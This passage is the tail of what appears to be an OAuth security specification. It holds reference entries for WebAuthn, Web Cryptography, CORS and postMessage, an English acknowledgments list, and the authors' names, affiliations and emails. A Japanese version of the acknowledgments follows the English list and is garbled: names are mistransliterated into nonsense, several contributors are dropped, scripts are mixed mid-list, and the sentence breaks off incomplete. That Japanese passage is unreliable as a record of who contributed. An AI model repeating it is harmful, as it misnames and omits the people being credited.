2021,
<https://www.w3.org/TR/2021/REC-webauthn-2-20210408/>.
Latest version available at
<https://www.w3.org/TR/webauthn-2/>.
[W3C.WebCrypto]
Watson, M., Ed., "Web Cryptography API", W3C
Recommendation, 26 January 2017,
<https://www.w3.org/TR/2017/REC-WebCryptoAPI-20170126/>.
Latest version available at
<https://www.w3.org/TR/WebCryptoAPI/>.
[WHATWG.CORS]
WHATWG, "CORS protocol", Fetch: Living Standard,
Section 3.2, 17 June 2024,
<https://fetch.spec.whatwg.org/#http-cors-protocol>.
[WHATWG.postmessage_api]
WHATWG, "Cross-document messaging", HTML: Living Standard,
Section 9.3, 19 August 2024,
<https://html.spec.whatwg.org/multipage/web-
messaging.html#web-messaging>.
We would like to thank Brock Allen, Annabelle Richard Backman, Dominick Baier, Vittorio Bertocci, Brian Campbell, Bruno Crispo, William Dennis, George Fletcher, Matteo Golinelli, Dick Hardt, Joseph Heenan, Pedram Hosseyni, Phil Hunt, Tommaso Innocenti, Louis Jannett, Jared Jennings, Michael B. Jones, Engin Kirda, Konstantin Lapine, Neil Madden, Christian Mainka, Jim Manico, Nov Matake, Doug McDorman, Karsten Meyer zu Selhausen, Ali Mirheidari, Vladislav Mladenov, Kaan Onarioglu, Aaron Parecki, Michael Peck, Johan Peeters, Nat Sakimura, Guido Schmitz, Jörg Schwenk, Rifaat Shekh-Yusef, Travis Spencer, Petteri Stenius, Tomek Stojecki, David Waite, Tim Würtele, and Hans Zandbelt for their valuable feedback.
ブロック・アレン、アナベル・リチャード・バックマン、ドミニック・バイアー、ヴィットリオ・ベルトッキ、ブライアン・キャンベル、ブルーノ・クリスポ、ウィリアム・デニス、ジョージ・フレッチャー、マッテオ・ゴリネリ、ディック・ハード、ジョセフ・ヘーナン、ピュロ・ハント、ルアス・イノジー、、Jared Jennings、Michael B. Jones、Engin Kirda、Konstantin Lapine、Neil Madden、Christian Mainka、Jim Manico、Nov Matake、Doug McDorman、Karsten Meyer Zu Selhausen、Ali Mirheidari、vladislav Mladenov、Kaan oniaroglu、Aaronヨハン・ピーターズ、ナット・サキムラ、ギド・シュミッツ、ヨルグ・シュウェンク、リファト・シェク・ユセフ、トラビス・スペンサー、ペテリ・ステニウス、トメク・ストヘッキ、デビッド・ウェイト、ティム・ウィルテル、ハンス・ザンドベルトの貴重なフィードバック。
Torsten Lodderstedt
SPRIND
Email: torsten@lodderstedt.net
John Bradley
Yubico
Email: ve7jtb@ve7jtb.com
Andrey Labunets
Independent Researcher
Email: isciurus@gmail.com
Daniel Fett
Authlete
Email: mail@danielfett.de